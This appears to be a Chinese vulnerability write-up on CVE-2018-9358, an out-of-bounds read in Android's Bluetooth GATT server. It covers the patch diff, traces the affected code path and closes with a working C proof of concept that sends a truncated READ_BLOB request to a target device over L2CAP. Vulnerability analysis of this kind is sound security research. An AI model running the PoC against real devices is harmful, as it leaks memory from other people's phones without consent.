【蓝牙】CVE-2018-9358 信息泄露
补丁
https://android.googlesource.com/platform/system/bt/+/0d7c2f5a14d1055f3b4f69035451c66bf8f1b08e
补丁里补了两个函数:gatt_process_exec_write_req()
和gatts_process_read_req()
DO NOT MERGE Handle bad packet length in gatts_process_read_req
Added error check and handling code in gatts_process_read_req to
make sure that the packet length is correct.
Please note that there is another earlier CL that is reverted and this
is the updated one.
Bug: 73172115
Test: Run the test program, poc, that was attached in the bug report
Merged-In: Ia9b4e502fa8f8384bf9767e68f73b48a0915141b
Change-Id: Ia9b4e502fa8f8384bf9767e68f73b48a0915141b
(cherry picked from commit cc9c7330d1c3507d745170ae7b2e0546197b7acb)
(cherry picked from commit 16f4c21be5bd0ea1968eee8a0f00648b1e326253)
diff --git a/stack/gatt/gatt_sr.cc b/stack/gatt/gatt_sr.cc
index 3af9866..06c9c52 100644
--- a/stack/gatt/gatt_sr.cc
+++ b/stack/gatt/gatt_sr.cc
@@ -22,6 +22,7 @@
*
******************************************************************************/
+#include <log/log.h>
#include "bt_target.h"
#include "bt_utils.h"
#include "osi/include/osi.h"
@@ -281,8 +282,8 @@
* Returns void
*
******************************************************************************/
-void gatt_process_exec_write_req(tGATT_TCB& tcb, uint8_t op_code,
- UNUSED_ATTR uint16_t len, uint8_t* p_data) {
+void gatt_process_exec_write_req(tGATT_TCB& tcb, uint8_t op_code, uint16_t len,
+ uint8_t* p_data) {
uint8_t *p = p_data, flag, i = 0;
uint32_t trans_id = 0;
tGATT_IF gatt_if;
@@ -301,6 +302,13 @@
}
#endif
+ if (len < sizeof(flag)) {
+ android_errorWriteLog(0x534e4554, "73172115");
+ LOG(ERROR) << __func__ << "invalid length";
+ gatt_send_error_rsp(tcb, GATT_INVALID_PDU, GATT_REQ_EXEC_WRITE, 0, false);
+ return;
+ }
+
STREAM_TO_UINT8(flag, p);
/* mask the flag */
@@ -940,9 +948,19 @@
*/
static void gatts_process_read_req(tGATT_TCB& tcb, tGATT_SRV_LIST_ELEM& el,
uint8_t op_code, uint16_t handle,
- UNUSED_ATTR uint16_t len, uint8_t* p_data) {
+ uint16_t len, uint8_t* p_data) {
size_t buf_len = sizeof(BT_HDR) + tcb.payload_size + L2CAP_MIN_OFFSET;
uint16_t offset = 0;
+
+ if (op_code == GATT_REQ_READ_BLOB && len < sizeof(uint16_t)) {
+ /* Error: packet length is too short */
+ LOG(ERROR) << __func__ << ": packet length=" << len
+ << " too short. min=" << sizeof(uint16_t);
+ android_errorWriteWithInfoLog(0x534e4554, "73172115", -1, NULL, 0);
+ gatt_send_error_rsp(tcb, GATT_INVALID_PDU, op_code, 0, false);
+ return;
+ }
+
BT_HDR* p_msg = (BT_HDR*)osi_calloc(buf_len);
if (op_code == GATT_REQ_READ_BLOB) STREAM_TO_UINT16(offset, p_data);
@@ -964,7 +982,7 @@
if (reason != GATT_SUCCESS) {
osi_free(p_msg);
- /* in theroy BUSY is not possible(should already been checked), protected
+ /* in theory BUSY is not possible(should already been checked), protected
* check */
if (reason != GATT_PENDING && reason != GATT_BUSY)
gatt_send_error_rsp(tcb, reason, op_code, handle, false);
我们先来看gatt_process_exec_write_req()
,先从变量p
取1个字节,变量p
来自参数p_data
,我们找到上层函数判断参数是什么数据传入的
/*******************************************************************************
*
* Function gatt_process_exec_write_req
*
* Description This function is called to process the execute write request
* from client.
*
* Returns void
*
******************************************************************************/
void gatt_process_exec_write_req(tGATT_TCB& tcb, uint8_t op_code,
UNUSED_ATTR uint16_t len, uint8_t* p_data) {
uint8_t *p = p_data, flag, i = 0;
uint32_t trans_id = 0;
tGATT_IF gatt_if;
uint16_t conn_id;
...
STREAM_TO_UINT8(flag, p); // 获取1个字节
/* mask the flag */
flag &= GATT_PREP_WRITE_EXEC;
/* no prep write is queued */
if (!gatt_sr_is_prep_cnt_zero(tcb)) {
trans_id = gatt_sr_enqueue_cmd(tcb, op_code, 0);
gatt_sr_copy_prep_cnt_to_cback_cnt(tcb);
for (i = 0; i < GATT_MAX_APPS; i++) {
if (tcb.prep_cnt[i]) {
gatt_if = (tGATT_IF)(i + 1);
conn_id = GATT_CREATE_CONN_ID(tcb.tcb_idx, gatt_if);
tGATTS_DATA gatts_data;
gatts_data.exec_write = flag; // 将读出的1字节赋值给gatts_data.exec_write
gatt_sr_send_req_callback(conn_id, trans_id, GATTS_REQ_TYPE_WRITE_EXEC, &gatts_data); // 发送回去
tcb.prep_cnt[i] = 0;
}
}
} else /* nothing needs to be executed , send response now */
{
LOG(ERROR) << "gatt_process_exec_write_req: no prepare write pending";
gatt_send_error_rsp(tcb, GATT_ERROR, GATT_REQ_EXEC_WRITE, 0, false);
}
}
len
和p_data
来自上层
/** This function is called to handle the client requests to server */
void gatt_server_handle_client_req(tGATT_TCB& tcb, uint8_t op_code,
uint16_t len, uint8_t* p_data) {
...
if (len >= tcb.payload_size) {
... // 错误处理
} else {
switch (op_code) {
...
case GATT_REQ_EXEC_WRITE:
gatt_process_exec_write_req(tcb, op_code, len, p_data);
break;
...
}
}
}
再往上找,可以看到msg_len
和p
分别对应着Buffer剩余长度和Buffer指针
void gatt_data_process(tGATT_TCB& tcb, BT_HDR* p_buf) {
uint8_t* p = (uint8_t*)(p_buf + 1) + p_buf->offset;
uint16_t msg_len = p_buf->len - 1;
STREAM_TO_UINT8(op_code, p);
if (op_code == GATT_SIGN_CMD_WRITE) {
gatt_verify_signature(tcb, p_buf);
} else {
/* message from client */
if ((op_code % 2) == 0)
gatt_server_handle_client_req(tcb, op_code, msg_len, p);
else
gatt_client_handle_server_rsp(tcb, op_code, msg_len, p);
}
}
所以再回到gatt_process_exec_write_req
,在调用STREAM_TO_UINT8()
进行取值的时候,未判断p指向的数据是否处于Buffer边界之内,读出的数据做一次&
运算后赋值给gatts_data.exec_write
,再调用gatt_sr_send_req_callback()
发送回去,造成信息泄露
void gatt_process_exec_write_req(tGATT_TCB& tcb, uint8_t op_code,
UNUSED_ATTR uint16_t len, uint8_t* p_data) {
uint8_t *p = p_data, flag, i = 0;
...
STREAM_TO_UINT8(flag, p); // 获取1个字节
flag &= GATT_PREP_WRITE_EXEC;
if (!gatt_sr_is_prep_cnt_zero(tcb)) {
...
for (i = 0; i < GATT_MAX_APPS; i++) {
if (tcb.prep_cnt[i]) {
...
gatts_data.exec_write = flag; // 将读出的1字节赋值给gatts_data.exec_write
gatt_sr_send_req_callback(conn_id, trans_id, GATTS_REQ_TYPE_WRITE_EXEC, &gatts_data); // 发送回去
...
}
}
}
...
}
gatt_sr_send_req_callback()
调用(*p_reg->app_cb.p_req_cb)()
,这是函数指针调用
/*******************************************************************************
*
* Function gatt_sr_send_req_callback
*
* Description
*
*
* Returns void
*
******************************************************************************/
void gatt_sr_send_req_callback(uint16_t conn_id, uint32_t trans_id, tGATTS_REQ_TYPE type, tGATTS_DATA* p_data) {
tGATT_IF gatt_if = GATT_GET_GATT_IF(conn_id);
tGATT_REG* p_reg = gatt_get_regcb(gatt_if);
if (!p_reg) {
LOG(ERROR) << "p_reg not found discard request";
return;
}
if (p_reg->in_use && p_reg->app_cb.p_req_cb) {
(*p_reg->app_cb.p_req_cb)(conn_id, trans_id, type, p_data); // <--
} else {
LOG(WARNING) << "Call back not found for application conn_id=" << conn_id;
}
}
找到定义的结构体,我们可以看到p_req_cb
是第五个
typedef struct {
tGATT_CONN_CBACK* p_conn_cb;
tGATT_CMPL_CBACK* p_cmpl_cb;
tGATT_DISC_RES_CB* p_disc_res_cb;
tGATT_DISC_CMPL_CB* p_disc_cmpl_cb;
tGATT_REQ_CBACK* p_req_cb;
tGATT_ENC_CMPL_CB* p_enc_cmpl_cb;
tGATT_CONGESTION_CBACK* p_congestion_cb;
tGATT_PHY_UPDATE_CB* p_phy_update_cb;
tGATT_CONN_UPDATE_CB* p_conn_update_cb;
} tGATT_CBACK;
搜索对该结构体进行赋值的全局操作,幸运的找到了,第五个字段就是bta_gatts_send_request_cback()
static void bta_gatts_send_request_cback(uint16_t conn_id, uint32_t trans_id,
tGATTS_REQ_TYPE req_type,
tGATTS_DATA* p_data);
static tGATT_CBACK bta_gatts_cback = {bta_gatts_conn_cback,
NULL,
NULL,
NULL,
bta_gatts_send_request_cback,
NULL,
bta_gatts_cong_cback,
bta_gatts_phy_update_cback,
bta_gatts_conn_update_cback};
有趣的是bta_gatts_send_request_cback()
又调用了(*p_rcb->p_cback)()
/*******************************************************************************
*
* Function bta_gatts_request_cback
*
* Description GATTS attribute request callback.
*
* Returns none.
*
******************************************************************************/
static void bta_gatts_send_request_cback(uint16_t conn_id, uint32_t trans_id, tGATTS_REQ_TYPE req_type, tGATTS_DATA* p_data) {
tBTA_GATTS cb_data;
tBTA_GATTS_RCB* p_rcb;
tGATT_IF gatt_if;
tBTA_GATT_TRANSPORT transport;
memset(&cb_data, 0, sizeof(tBTA_GATTS));
if (GATT_GetConnectionInfor(conn_id, &gatt_if, cb_data.req_data.remote_bda, &transport)) {
p_rcb = bta_gatts_find_app_rcb_by_app_if(gatt_if);
APPL_TRACE_DEBUG("%s: conn_id=%d trans_id=%d req_type=%d", __func__, conn_id, trans_id, req_type);
if (p_rcb && p_rcb->p_cback) {
/* if over BR_EDR, inform PM for mode change */
if (transport == BTA_TRANSPORT_BR_EDR) {
bta_sys_busy(BTA_ID_GATTS, BTA_ALL_APP_ID, cb_data.req_data.remote_bda);
bta_sys_idle(BTA_ID_GATTS, BTA_ALL_APP_ID, cb_data.req_data.remote_bda);
}
cb_data.req_data.conn_id = conn_id;
cb_data.req_data.trans_id = trans_id;
cb_data.req_data.p_data = (tBTA_GATTS_REQ_DATA*)p_data;
(*p_rcb->p_cback)(req_type, &cb_data); // <--
} else {
APPL_TRACE_ERROR("connection request on gatt_if[%d] is not interested", gatt_if);
}
} else {
APPL_TRACE_ERROR("request received on unknown connectino ID: %d", conn_id);
}
}
继续找结构体,这个结构体的赋值最终没有找到
/* application registration control block */
typedef struct {
bool in_use;
tBT_UUID app_uuid;
tBTA_GATTS_CBACK* p_cback;
tBTA_GATTS_IF gatt_if;
} tBTA_GATTS_RCB;
于是我想,函数(*p_rcb->p_cback)(req_type, &cb_data)
的参数类型或许有希望
(*p_rcb->p_cback)(tGATTS_REQ_TYPE, tBTA_GATTS*)
typedef uint8_t tGATTS_REQ_TYPE;
最后找到一个
typedef uint8_t tBTA_GATTS_EVT;
static void btapp_gatts_cback(tBTA_GATTS_EVT event, tBTA_GATTS* p_data) {
bt_status_t status;
status = btif_transfer_context(btapp_gatts_handle_cback, (uint16_t)event,
(char*)p_data, sizeof(tBTA_GATTS),
btapp_gatts_copy_req_data);
ASSERTC(status == BT_STATUS_SUCCESS, "Context transfer failed!", status);
}
#define BTA_GATTS_EXEC_WRITE_EVT GATTS_REQ_TYPE_WRITE_EXEC /* 5 */
第二处补丁对Buffer剩余长度做了判断,后面取了2字节的数据,所以需要判断Buffer剩余长度要大于等于2字节
@@ -940,9 +948,19 @@
*/
static void gatts_process_read_req(tGATT_TCB& tcb, tGATT_SRV_LIST_ELEM& el,
uint8_t op_code, uint16_t handle,
- UNUSED_ATTR uint16_t len, uint8_t* p_data) {
+ uint16_t len, uint8_t* p_data) {
size_t buf_len = sizeof(BT_HDR) + tcb.payload_size + L2CAP_MIN_OFFSET;
uint16_t offset = 0;
+
+ if (op_code == GATT_REQ_READ_BLOB && len < sizeof(uint16_t)) {
+ /* Error: packet length is too short */
+ LOG(ERROR) << __func__ << ": packet length=" << len
+ << " too short. min=" << sizeof(uint16_t);
+ android_errorWriteWithInfoLog(0x534e4554, "73172115", -1, NULL, 0);
+ gatt_send_error_rsp(tcb, GATT_INVALID_PDU, op_code, 0, false);
+ return;
+ }
+
BT_HDR* p_msg = (BT_HDR*)osi_calloc(buf_len);
if (op_code == GATT_REQ_READ_BLOB) STREAM_TO_UINT16(offset, p_data);
@@ -964,7 +982,7 @@
if (reason != GATT_SUCCESS) {
osi_free(p_msg);
获取的数据offset
只传入了gatts_read_attr_value_by_handle()
,且后续没有使用到,所以我们需要关注gatts_read_attr_value_by_handle()
里对offset
的操作
/**
* This function is called to process the read request from client.
*/
static void gatts_process_read_req(tGATT_TCB& tcb, tGATT_SRV_LIST_ELEM& el,
uint8_t op_code, uint16_t handle,
UNUSED_ATTR uint16_t len, uint8_t* p_data) {
size_t buf_len = sizeof(BT_HDR) + tcb.payload_size + L2CAP_MIN_OFFSET;
uint16_t offset = 0;
BT_HDR* p_msg = (BT_HDR*)osi_calloc(buf_len);
// 此处直接对p_data取2字节的数据
if (op_code == GATT_REQ_READ_BLOB) STREAM_TO_UINT16(offset, p_data);
uint8_t* p = (uint8_t*)(p_msg + 1) + L2CAP_MIN_OFFSET;
*p++ = op_code + 1;
p_msg->len = 1;
buf_len = tcb.payload_size - 1;
uint8_t sec_flag, key_size;
gatt_sr_get_sec_info(tcb.peer_bda, tcb.transport, &sec_flag, &key_size);
uint16_t value_len = 0;
// 读取的offset传入gatts_read_attr_value_by_handle()
tGATT_STATUS reason = gatts_read_attr_value_by_handle(
tcb, el.p_db, op_code, handle, offset, p, &value_len, (uint16_t)buf_len,
sec_flag, key_size, 0);
p_msg->len += value_len;
if (reason != GATT_SUCCESS) {
osi_free(p_msg);
/* in theroy BUSY is not possible(should already been checked), protected
* check */
if (reason != GATT_PENDING && reason != GATT_BUSY)
gatt_send_error_rsp(tcb, reason, op_code, handle, false);
return;
}
attp_send_sr_msg(tcb, p_msg);
}
通过对gatts_read_attr_value_by_handle()
进行分析,正常情况下返回的是GATT_SUCCESS
,我们并不关心返回值,所以这里略过,其中会调用两个函数:read_attr_value()
和gatts_send_app_read_request()
/*******************************************************************************
*
* Function gatts_read_attr_value_by_handle
*
* Description Query attribute value by attribute handle.
*
* Parameter p_db: pointer to the attribute database.
* handle: Attribute handle to read.
* offset: Read offset.
* p_value: output parameter to carry out the attribute value.
* p_len: output parameter as attribute length read.
* read_long: this is a read blob request.
* mtu: MTU.
* sec_flag: current link security status.
* key_size: encryption key size
*
* Returns Status of operation.
*
******************************************************************************/
tGATT_STATUS gatts_read_attr_value_by_handle(
tGATT_TCB& tcb, tGATT_SVC_DB* p_db, uint8_t op_code, uint16_t handle,
uint16_t offset, uint8_t* p_value, uint16_t* p_len, uint16_t mtu,
tGATT_SEC_FLAG sec_flag, uint8_t key_size, uint32_t trans_id) {
tGATT_ATTR* p_attr = find_attr_by_handle(p_db, handle);
if (!p_attr) return GATT_NOT_FOUND;
uint8_t* pp = p_value;
tGATT_STATUS status = read_attr_value(*p_attr, offset, &pp,
(bool)(op_code == GATT_REQ_READ_BLOB),
mtu, p_len, sec_flag, key_size);
if (status == GATT_PENDING) {
status = gatts_send_app_read_request(tcb, op_code, p_attr->handle, offset, trans_id, p_attr->gatt_type);
}
return status;
}
read_attr_value()
调用gatts_check_attr_readability()
,然而gatts_check_attr_readability()
没有使用到offset
static tGATT_STATUS read_attr_value(tGATT_ATTR& attr16, uint16_t offset,
uint8_t** p_data, bool read_long,
uint16_t mtu, uint16_t* p_len,
tGATT_SEC_FLAG sec_flag, uint8_t key_size) {
...
tGATT_STATUS status = gatts_check_attr_readability(attr16, offset, read_long, sec_flag, key_size);
...
}
static tGATT_STATUS gatts_check_attr_readability(const tGATT_ATTR& attr,
UNUSED_ATTR uint16_t offset,
bool read_long,
tGATT_SEC_FLAG sec_flag,
uint8_t key_size) {
来看另一个函数gatts_send_app_read_request()
,该函数将offset
赋值给sr_data.read_req.offset
,最后调用gatt_sr_send_req_callback()
/*******************************************************************************
*
* Function gatts_send_app_read_request
*
* Description Send application read request callback
*
* Returns status of operation.
*
******************************************************************************/
static tGATT_STATUS gatts_send_app_read_request(
tGATT_TCB& tcb, uint8_t op_code, uint16_t handle, uint16_t offset,
uint32_t trans_id, bt_gatt_db_attribute_type_t gatt_type) {
tGATT_SRV_LIST_ELEM& el = *gatt_sr_find_i_rcb_by_handle(handle);
uint16_t conn_id = GATT_CREATE_CONN_ID(tcb.tcb_idx, el.gatt_if);
if (trans_id == 0) {
trans_id = gatt_sr_enqueue_cmd(tcb, op_code, handle);
gatt_sr_update_cback_cnt(tcb, el.gatt_if, true, true);
}
if (trans_id != 0) {
tGATTS_DATA sr_data;
memset(&sr_data, 0, sizeof(tGATTS_DATA));
sr_data.read_req.handle = handle;
sr_data.read_req.is_long = (bool)(op_code == GATT_REQ_READ_BLOB);
sr_data.read_req.offset = offset; // <--
uint8_t opcode;
if (gatt_type == BTGATT_DB_DESCRIPTOR) {
opcode = GATTS_REQ_TYPE_READ_DESCRIPTOR;
} else if (gatt_type == BTGATT_DB_CHARACTERISTIC) {
opcode = GATTS_REQ_TYPE_READ_CHARACTERISTIC;
} else {
LOG(ERROR) << __func__
<< ": Attempt to read attribute that's not tied with "
"characteristic or descriptor value.";
return GATT_ERROR;
}
gatt_sr_send_req_callback(conn_id, trans_id, opcode, &sr_data); // <--
return (tGATT_STATUS)GATT_PENDING;
} else
return (tGATT_STATUS)GATT_BUSY; /* max pending command, application error */
}
所以问题来了:gatt_sr_send_req_callback()
到底在做什么?
PoC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#define BT_PSM_GATT 31
#define GATT_REQ_READ_BLOB 0x0C
#define UINT8_TO_STREAM(p, u8) \
{ \
*(p)++ = u8; \
}
#define UINT16_TO_STREAM(p, u16) \
{ \
*(p)++ = (uint8_t)(u16); \
*(p)++ = (uint8_t)((u16) >> 8); \
}
#define GATT_BLD_OPCODE(p, opcode) \
do{ \
*(p)++ = opcode; \
}while(0)
void send_trigger_req(int sock_fd)
{
uint8_t buffer[1024];
memset(buffer, 0, 1024);
uint8_t *p = buffer;
GATT_BLD_OPCODE(p, GATT_REQ_READ_BLOB);
uint16_t handle = 0x0001;
UINT16_TO_STREAM(p, handle);
// without handle here, to make oob read.
send(sock_fd, buffer, p - buffer, 0);
}
int main(int argc ,char* argv[])
{
int sock_fd, ret;
int try_count = 1;
char dest[18];
struct sockaddr_l2 local_l2_addr;
struct sockaddr_l2 remote_l2_addr;
if(argc < 2)
{
printf("usage : sudo ./poc TARGET_ADDR\n");
return -1;
}
strncpy(dest, argv[1], 18);
while( try_count-- > 0 )
{
sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP);
if(sock_fd == -1)
{
perror("[*] socket create failed : ");
return -1;
}
memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
local_l2_addr.l2_family = PF_BLUETOOTH;
memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));
ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
if(ret == -1)
{
perror("[*] bind()");
goto out;
}
// l2cap_set_mtu(sock_fd, 1024, 1024);
memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
remote_l2_addr.l2_family = PF_BLUETOOTH;
remote_l2_addr.l2_psm = htobs(BT_PSM_GATT);
str2ba(dest, &remote_l2_addr.l2_bdaddr);
if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0)
{
perror("[*] can't connect");
// if(errno == 100)
// goto vul;
goto out;
}
send_trigger_req(sock_fd);
sleep(1);
}
out:
close(sock_fd);
return 0;
}
Last updated